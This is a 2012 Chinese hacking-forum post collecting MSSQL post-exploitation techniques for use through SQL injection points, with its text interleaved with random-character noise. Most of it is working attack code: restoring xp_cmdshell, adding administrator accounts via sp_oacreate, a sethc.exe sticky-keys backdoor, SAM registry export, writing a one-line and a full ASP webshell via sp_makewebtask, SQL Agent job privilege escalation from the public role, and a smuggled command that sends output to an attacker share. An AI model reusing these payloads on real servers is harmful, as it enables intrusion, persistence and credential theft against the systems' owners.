找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2504|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
7 j6 S) z4 W; Y2 b3 b恢复方法:查询分离器连接后,. f/ q  ?; c# ?! ], ]0 c+ |3 P7 T% `
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
# r; q( d8 H& g9 C6 ^* b第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
0 L' I) v) x, h9 n& ~然后按F5键命令执行完毕
# ?- i- }: t' p2 z( P6 y0 L! a6 H& c8 W
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
9 r" d, ^0 \/ B' m- K恢复方法:查询分离器连接后,
8 `. G/ s& l' M% [) v0 E第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
2 u, \7 v* ^" ~' |  ?4 T0 i第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll': R9 ~' h. U# y/ r0 \
然后按F5键命令执行完毕* G4 {  P6 W; Y! |2 v

4 \# h. D5 J1 k4 V  N: b3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
& @' i: s8 }7 H2 e6 \恢复方法:查询分离器连接后,
' V# J" k! |" P第一步执行:exec sp_dropextendedproc 'xp_cmdshell'4 G+ F  N9 G) Y& `1 J5 |9 P6 R
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
& X& p& y! k  Q! [' ~然后按F5键命令执行完毕' e9 t- Z9 q' l+ C9 M& Q

# b/ Y) C3 P- y+ G* _1 y8 w4 终极方法.' a2 i4 c% B4 E- j) f& C6 M. `
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:8 }6 ]' w  Q" l0 ^' I0 H: y- R
查询分离器连接后,1 y; i7 D8 g+ _
2000servser系统:7 P. n+ Q* j; S! A  r0 ?, A) }# x0 Y
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'. O, h( x! u/ i
) n/ q5 l' ]' L0 W$ H0 y
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'4 f; X; @! E6 L& e

4 i! ?) t2 k8 M4 N. @7 j& Gxp或2003server系统:
' R/ `0 @  C: P2 X9 K7 C: z$ p3 D' n3 ^; d2 s/ V6 q% n5 E
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
5 e0 W# V% C; }8 @) C, g6 {
" x' S+ }4 j7 K2 ]declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'. ^1 W" e2 u! s6 E9 i, |0 |. l
6 P+ f+ D0 n7 v  B; p+ ]' v4 `

$ X  T( ^9 s, W6 N5 Y2 U五个SHIFT
' T2 f; c& n/ W$ _+ U8 I' ^) V) d1 q5 edeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
! g  j9 d" _7 {* _; W  ?. [1 P- ^: q) j5 w8 r$ Q- V* D2 M
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 4 D& {: b4 q+ C  r, n  H- m6 V& ~0 d1 X
0 U7 Q( \( s/ d% u- f; G; e
xp_cmdshell执行命令另一种方法2 g! P- N( _% y# |# L8 v
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
8 H5 S) E& J( }7 [2 Y3 q1 i" I1 c: a$ a$ g8 [- z  O
判断存储扩展是否存在
8 x6 |6 l9 a3 I* o/ R3 d, PSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
7 |8 ~; n4 G8 [. R* A返回结果为1就OK
) X. o/ K1 I1 R
, M9 K# z) o" j
$ g! b- w4 q; Y. a* c' l上传xplog70.dll恢复xp_cmdshell语句:; \; D- q. A- u9 [7 |1 g
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'4 B/ [; W9 V. v& a
! O+ _# r1 O  E. n
否则上传xplog7.0.dll
0 s+ `* e5 Q' _, AExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'2 A  ?1 D8 P! P" t2 X' l' D' n. I
' _3 B( p# ~' D! E
5 M, D5 e. o7 O, h

/ q, b5 R7 r. E# q9 T1 D* T# w首先开启沙盘模式:% k" h9 d! b: f: L6 J( a$ ~9 c
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1) U3 f. Z6 G! a0 U
  e* S5 \  G8 u' z
然后利用jet.oledb执行系统命令6 W6 {; N' Y/ n. B2 r' K, Z
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'). L% i" c8 d& d" e( l0 \
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
# T# u5 |" z6 Y% y2 ]% T" \% f& g" z. l( R, U* K% `3 H3 Q
- k7 F7 F) p" f) O+ K

8 N" b/ M  ]+ [) i恢复过程sp_addextendedproc 如下: ) D6 ?- t8 M, W7 X
create procedure sp_addextendedproc --- 1996/08/30 20:13
. p8 k9 A  f; \3 l8 ]+ f" Z( l@functname nvarchar(517),/* (owner.)name of function to call */
% r$ F! h6 D9 @/ B9 s7 a@dllname varchar(255)/* name of DLL containing function */
+ L+ N9 M% v" ]8 u2 Has
3 Y4 y9 U; r7 c/ f4 h$ Gset implicit_transactions off + R' ?, n0 d$ l* U6 n" k3 `& x3 w
if @@trancount > 0 3 @" x! F" b% w, P' {+ ~: @2 ?
begin
7 N* Z4 x. D! D$ F: ?7 L# S$ B* ^raiserror(15002,-1,-1,'sp_addextendedproc')
, n' u8 f. l3 Z4 A) U3 R+ ~" treturn (1) * u. T/ A5 k$ \6 W2 ^6 h
end + w) A$ U/ A1 h+ {
dbcc addextendedproc( @functname, @dllname) 4 K1 c; N# v: L4 Y) S8 |  M
return (0) -- sp_addextendedproc 7 m+ J; J8 Z( i. E) Z- @1 ]
GO
3 y+ `. {. H3 d$ j, R
+ c. L  @: n: ^, n' Z* _0 V- y7 p- t6 i
1 t1 h; f* f$ ^& W( {. W3 p& ^: R- Q* P7 E$ M- a
导出管理员密码文件
$ N) M& b. I, W+ h4 msa默认可以读sam键.应该。
5 Z: J6 Y) L$ t: k2 N  c/ [+ breg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
9 \% \3 ?* S! ?% W) tnet user administrator test
! c/ G* Q% i5 \, G9 n用administrator登陆.3 v0 d6 E! [/ O: W" j0 Q) I
用完机器后
, @' ^; P' U! r, A* K0 W1 Qreg import c:\test.reg; g5 a7 u0 g+ ]$ w( w" V
根本不用克隆.
* n* h2 p" s7 `3 z: J% s找到对应的sid.
0 j0 r: v3 r+ R2 z# e* q; _; C2 `( z9 c9 t- p& Y: p
, j7 ]& V% v4 k/ H  W* A4 J
$ i$ q) k% J7 ]2 j. A
恢复所有存储过程
6 F- {% Q9 k& R6 `; Ruse master
0 e; a; b$ z# {- S2 aexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
+ [0 ?! N3 c+ Z1 e. Kexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
" b) W; f: }! K! Jexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
, Y6 h- o8 [. F- s% @% wexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 3 M/ v8 P9 m. V; g  s4 z( q
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
2 m. U/ n, p: ~9 Q# d  p9 ]exec sp_addextendedproc sp_OACreate,'odsole70.dll'
' K  d6 k' a8 e! a0 lexec sp_addextendedproc sp_OADestroy,'odsole70.dll' ' n" _; w6 x# m% ~- Y( F
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
; j' E5 C; M; O2 f0 X7 f% `; oexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
6 N" i& {- E% U+ |! J0 ]; C, aexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
' x- D0 M/ k* o4 `exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
; _5 A+ m8 o/ lexec sp_addextendedproc sp_OAStop,'odsole70.dll' % q! J7 i, |9 U# e: O6 Z% y
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
! k1 D5 ]" L- K( ^% @exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' . M  b& n% r7 w" R( x' W+ z# q
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' $ N1 }$ Z, y" X) B% N; p
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
" B" E( A9 K4 z6 j. `: @exec sp_addextendedproc xp_regread,'xpstar.dll'
3 t0 ^, b! G2 s5 M1 Aexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' * J6 n4 w5 l5 c
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 9 U! R8 W3 I( J2 X2 G) h( ^
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
& I& A! A9 `/ v) B; }, J2 ?1 Z
& L! _4 m( ?9 ?7 G
$ z: n7 K0 h) n建立读文件的存储过程2 l) P+ w  z+ x, J
Create proc sp_readTextFile @filename sysname+ y' C( K+ ]3 p# n+ E
as
" X+ T2 @0 X+ v) n0 h4 u
+ Q# O# [3 C2 q6 m    begin
# `' Q7 B- P! `2 L1 S1 G    set nocount on / [) j, G9 ^! ^0 m2 H
    Create table #tempfile (line varchar(8000))
3 P& ]0 r9 U1 I$ r    exec ('bulk insert #tempfile from "' + @filename + '"'), s4 K4 i8 `/ X& t8 Z
    select * from #tempfile, s' C9 G& N! h" J  `2 I
    drop table #tempfile6 A; t4 [* f/ z" W
End$ J7 W9 w. t- [3 A

: C: p! h' I& ]% ~exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件0 b7 U$ Z+ C8 Q' M. h
查看登录用户
4 M7 S/ z& E0 Q0 R$ n: ^$ SSelect * from sysxlogins
2 [" i& H; @# q/ @( T* M4 H* w7 E, S& j8 w  _; s  I! Z1 |
把文件内容读取到表中
6 X0 ^5 ~# C) y/ R8 l+ jBULK INSERT tmp from "c:\test.txt"( \' Y+ F+ y2 c) i$ d& y( q, z
dElete from 表名 清理表里的内容
; h$ `3 t* g! g6 [/ V. }create table b_test(fn nvarchar(4000));建一个表,字段为fn3 Q) t$ O; }2 L! w# U8 K- `
. q5 O. t1 Y1 @

% j/ Z" V' i- q$ R5 M5 T1 O+ G# d加sa用户1 o, a  i5 j) y5 |/ k, @
exec master.dbo.sp_addlogin user,pass;
! [7 e  _2 y' g; W2 [: ?exec master.dbo.sp_addsrvrolemember user,sysadmin
  o7 E7 ^0 B4 n9 C6 u
$ D* i$ D2 Q+ N* j" l: D) `% [9 O8 Z8 b; a
- S. g( x2 C, i: _$ R' \
读文件代码
6 Y* v. X/ K2 c6 r( o' c2 fdeclare @o int, @f int, @t int, @ret int
' }8 j- \/ U, L9 {3 Odeclare @line varchar(8000); X- o; k  m; y: Q7 p) K0 S8 E
exec sp_oacreate 'scripting.filesystemobject', @o out
# V* ~7 l7 O1 z3 w* x0 Cexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1" g1 U' x# G8 M  u7 w
exec @ret = sp_oamethod @f, 'readline', @line out
; J) N+ i' o2 Z6 f& ^while( @ret = 0 )
7 i) ?. A; q, c  p( e% ebegin
) F$ r/ M- {6 S" }( Hprint @line1 ^. x7 d" U+ y9 q
exec @ret = sp_oamethod @f, 'readline', @line out
: h+ F# l9 Y3 g/ H. @/ Z3 G, Wend
, `+ ~! _% Y0 ?% ~0 b8 S) Q+ ]6 X( ~4 U. v

4 t9 D; u. S4 ]1 T/ }& z6 K写文件代码:
, _* t( C5 S( }8 s6 d' p) N2 sdeclare @o int, @f int, @t int, @ret int3 ]7 Q4 s4 x# ~5 C
exec sp_oacreate 'scripting.filesystemobject', @o out
. @; |) N, w7 D0 Eexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1' D# L! U$ @. D. I1 c3 T( V
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
* F3 ]5 Z4 L# K# F4 d( l
6 q# E6 P0 B4 m2 }% l  u
5 c! E  {* F& r- s" H7 V3 Q$ q; r; J8 {添加lake2 shell
2 Y* c+ v- j3 e1 Y) |sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
  |$ t2 U) g& p& r# ~( }6 w# nsp_dropextendedproc xp_lake2. O( ]) U! {. g9 ^
EXEC xp_lake2 'net user'  Q2 J: h  C# f
9 z( m4 E' c- z5 K

, b7 e! a" E: ]3 q( g得到硬盘文件信息
4 Y7 N: D) v- D--参数说明:目录名,目录深度,是否显示文件 * h) t1 ~+ I7 w' a
execute master..xp_dirtree 'c:'
1 Z5 e* }$ c( k6 o$ v4 Z) w& Vexecute master..xp_dirtree 'c:',1 % {) `' S9 ]/ O- H9 L
execute master..xp_dirtree 'c:',1,1
/ B& b* D' X; Y9 {" z* S7 z
. p2 g# f9 K6 V) H" t) k- }9 j+ H* }7 e5 {( ^. ^& V6 X/ w
读serv-u配置信息4 `% |% }8 Y  I
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'4 j9 X2 W) b6 O* w9 x, c
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'2 y" Y+ H7 ?" |: c/ U- `

/ H8 H; W( m# N通过xp_regwrite写SHIFT后门1 v0 o9 d+ t, d+ `2 _- U9 {
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
" N% f; K' x% @/ d% d% e5 Z" b$ Z  x( m

7 {3 h' L- t' X4 m0 K2 L& m" g1 z$ v7 Z2 K+ \( b
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
3 t5 J  X6 s1 a7 N7 o$ _exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
+ [- J7 C( W- z0 z0 p( q
3 [) z/ |# ?4 W9 _( jEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
$ A3 A8 d8 R( u# d4 V" a. Q0 M4 H$ @2 x+ Z3 d

$ U2 E6 u( O! x0 X# u* g8 f  {7 r" G7 g9 F1 V
sql server 2005下开启xp_cmdshell的办法
* _: W, i/ n9 Z' Q* j8 g: T
# w6 Y/ ~4 q1 @5 ~3 tEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;3 H- R3 o# K7 ~

; ^* ~- o0 s0 M% YSQL2005开启'OPENROWSET'支持的方法:
; `* p) W- N& A, s, U( T8 I+ q$ I7 S2 n6 l' u5 ?; C( I6 q
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;( Q5 `( K, i- P0 J5 l" o+ a
9 K( [% k0 u% J, h3 y
SQL2005开启'sp_oacreate'支持的方法:
6 C, \1 q0 B% C+ p  _' Z6 Y: N. }* Y3 E- Q' m
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;7 z9 f, P2 M0 o- _

: o0 ~- I" W. z$ s# ]; N8 k8 @. N3 D; j

+ b) d4 }, T7 T4 t" @8 g' K8 O2 n

! C6 Z$ X: w. s: y2 @
, t4 n3 |  t7 p* _! d& w
, E$ d2 `4 [) k( |/ l. n, ]; e: Y, G% `: ~/ p' w
. t6 a% x8 |; \2 V6 r. `

# A! d- {* q; l/ f
8 q  ]. ^( }# t1 [# }0 p" ^% ~9 G
- D1 b: D* R$ z% p) e/ r
9 O8 {8 D5 _8 h/ ?0 `( z

& k' h1 C- v# R% C0 k4 i0 S
7 `% O- P5 r: r: o$ p" U1 k+ y+ }8 |/ c% Z

7 a4 m3 n; ?& c4 J" y, q  M  }0 E+ A2 p
4 G8 C! S7 j: @; e. \# ~

$ e; V& X! `# f
9 Q2 u1 C3 C' u2 z: o0 Y8 E' R7 P! l' {  Y" e

5 E7 ~0 e0 C, O' K以下方面不知道能不能成功暂且留下研究哈:
: a3 m$ p* q0 B+ {' z5 }4)0 A  `( b/ B  K  ^0 E. U5 U
use msdb; --这儿不要是master哟. r& ~6 p/ q; m4 n5 n
exec sp_add_job @job_name= czy82 ;+ X4 T& o* b6 W8 m% R
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
. I& B9 u" Q9 {5 Oexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
! z% I2 \: I, pexec sp_start_job @job_name= czy82 ;
! O# \8 L/ _0 F1 x1 t: z& t4 c  D; s7 N" [% z# Z+ l  J- ~
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以9 s6 H( x4 K' u1 h
执行tsql语句了.# G% H8 n5 L# P8 `( n6 w
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名) K$ b" _; U" I* z  A3 D
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧), Q- [: m: q  _/ e
net start SQLSERVERAGENT
2 _1 B" C( W2 o6 v" n: P
. w/ ]. [7 b5 r对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的8 m3 v5 ^  ]& f' S( f' H
USE msdb
5 {- O6 J: E0 ~! k3 U1 w9 YEXEC sp_add_job @job_name = GetSystemOnSQL ,
1 ~; p- i3 W- f3 b- R/ s0 c8 a@enabled = 1,
. y, |" U$ W3 @@description = This will give a low privileged user access to3 n: \' o: c; p* d2 d  b/ a
xp_cmdshell ,4 `+ [+ d5 K& p" m% _5 G# O3 _
@delete_level = 1
) U7 }% q6 ?: ^2 p- SEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,) C4 X! b* h6 u2 D# B
@step_name = Exec my sql ,
6 T/ E  l8 F2 ^# j# O! a@subsystem = TSQL ,
9 E  L7 X& t0 K( W; R. \% p! u: ?@command = exec master..xp_execresultset N select exec
/ M( K1 Q& Q2 {/ n: }master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 4 |$ x& z4 t% s% B9 y
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
5 I( c2 _  A7 Z, ?& n" }@server_name = 你的SQL的服务器名
; c" I2 o6 M5 I  V% |- sEXEC sp_start_job @job_name = GetSystemOnSQL
5 G8 L( Z; \, A/ F- k$ E0 O2 `. y$ }% C8 a) V3 C+ P
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
8 g$ @+ g7 v! X+ [* B才让我们可以以public执行xp_cmdshell
0 n: e9 `' W# C( K5 L" q5 S! j
  F& Y& Y5 l9 S8 ?; m5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
% n+ G0 F$ |+ N6 k0 J9 D在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
4 ^6 N. s5 m2 j3 W. H* `
: M, u; u' a) S5 T# q3 D. U/ UUSE msdb" h$ \9 f2 g3 c. e1 M6 ^+ u+ U
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
- P" A0 w# P5 L8 a) a@enabled = 1,' k& \1 l8 O" D8 c
@description = This will create a file called c:\sqlafc123.txt ,
7 O* A) `! ?" K8 N) R8 W7 M@delete_level = 1
% F4 I  Q7 ?8 z: A7 ]8 f- L7 h) IEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
" M& C  ^, A' S8 Z@step_name = SQLAFC ,
& {( k6 e$ `, w, T# w@subsystem = TSQL ,2 T+ b, C2 }/ Y! I4 p# z
@command = select hello, this file was created by the SQL Agent. ,
/ I" `5 ], \1 v! v* W@output_file_name = c:\sqlafc123.txt
( c+ j  I3 Q; E" k6 O+ G& L8 ?EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
5 V. ?7 V: {% ?) y& L  l@server_name = SERVER_NAME / |; c/ p( v+ ~( H$ L
EXEC sp_start_job @job_name = ArbitraryFilecreate
% [/ y/ K* b1 h$ x/ m: p2 B5 n" D9 C' [7 x: q3 x7 \* V
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
: T8 J* G4 Q  x1 \, K: O7 k
* g8 s6 `$ E% k7 d. N& a. `' M??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
* l) U! P3 j" L# e0 x----------------------------------------------
1 f  _0 q; s: ~. H! ]  Y. ^hello, this file was created by the SQL Agent.
9 b" M7 P% ~1 O8 f
' r/ d' x; S8 X7 {# d, \. U(1 ?????)
& R# G) b9 C' g' e( V6 l8 }1 E) q$ I4 r) a1 f/ P; @6 Z( G
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
* \0 i( Y- E8 I" S命令的vbs文件到启动目录!, Q! H% M; B1 O/ l5 k* B" ~
& S) h4 K! F: P2 {) Z+ w: g2 v
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)9 _' M, C( b) V: J  N
关于sp_MScopyscriptfile 看下面的例子1 x) J1 z- ^9 P; H5 p& g
declare @command varchar(100) ; h! `) P# k' p# M* W8 e- T8 k( @
declare @scripfile varchar(200)
& Z( Q6 r8 f1 R% zset concat_null_yields_null off
+ a3 m) h3 Q* y: Yselect @command= dir c:\ > "\\attackerip\share\dir.txt"
1 L8 i% e% E+ b3 A1 a+ k9 lselect @scripfile= c:\autoexec.bat > nul" | @command | rd " 6 m. l) u+ G8 N+ A2 E5 a
exec sp_MScopyscriptfile @scripfile ,
, {' F) ?. j, d2 ~1 r; d; f" F/ b9 z+ r% b- i( F
这两个东东都还在测试试哟9 c% k2 i8 b2 r+ X
让MSSQL的public用户得到一个本机的web shell
0 q# Q8 U) u0 R1 V3 [* x
8 q. E2 G" w- Y. m1 _sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,6 ^7 x% j! D3 V0 w" [2 q+ J
--@query= select <img src=vbscript:msgbox(now())> / O6 W. e$ U7 o3 g
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> + B! `/ G2 S, P: b- Z7 C  P$ Q
@query= select 7 C" p& b: r) y1 c) g# I
<%On Error Resume Next
' A7 k9 q7 k9 U6 a+ H* K% t- \7 RSet oscript = Server.createObject("wscript.SHELL")
9 k+ S4 m) Q* }- O2 D# WSet oscriptNet = Server.createObject("wscript.NETWORK")
9 O4 C/ }# r, T6 j2 L7 M; z' FSet oFileSys = Server.createObject("scripting.FileSystemObject")
- |, g/ `/ i7 s$ e) t" WszCMD = Request.Form(".CMD") : l4 Q) ]8 q- c+ U. r
If (szCMD <>"")Then * s4 v- `. C; D" {
szTempFile = "C:\" & oFileSys.GetTempName()
& P" r' p' {2 Z3 s& sCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
, M2 c4 G/ q7 d4 FSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) # m2 A# |0 F$ S$ |5 p0 d
End If %>
/ A7 v) e8 Z" K2 a- E2 C<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> : |, L, w8 O5 X5 d6 S
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> " \7 E0 }# T, o* m0 H
</FORM><RE> ; z' A4 G: O# q3 b+ G
<% If (IsObject(oFile))Then & V- _& h$ ?2 D* W& d: `& p
On Error Resume Next
( ]; s1 b6 l- K% \) KResponse.Write Server.HTMLEncode(oFile.ReadAll) * V" Q" H$ V- x
oFile.Close 4 H4 ~( C3 N8 ?* N7 o2 t6 Y( u- v
Call oFileSys.deleteFile(szTempFile, True) $ x, `( R$ r0 W6 b9 h) {. Q
End If%>
) ?4 A* G! Z5 Z, F</BODY></HTML>
# T! V- o7 r/ h2 x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表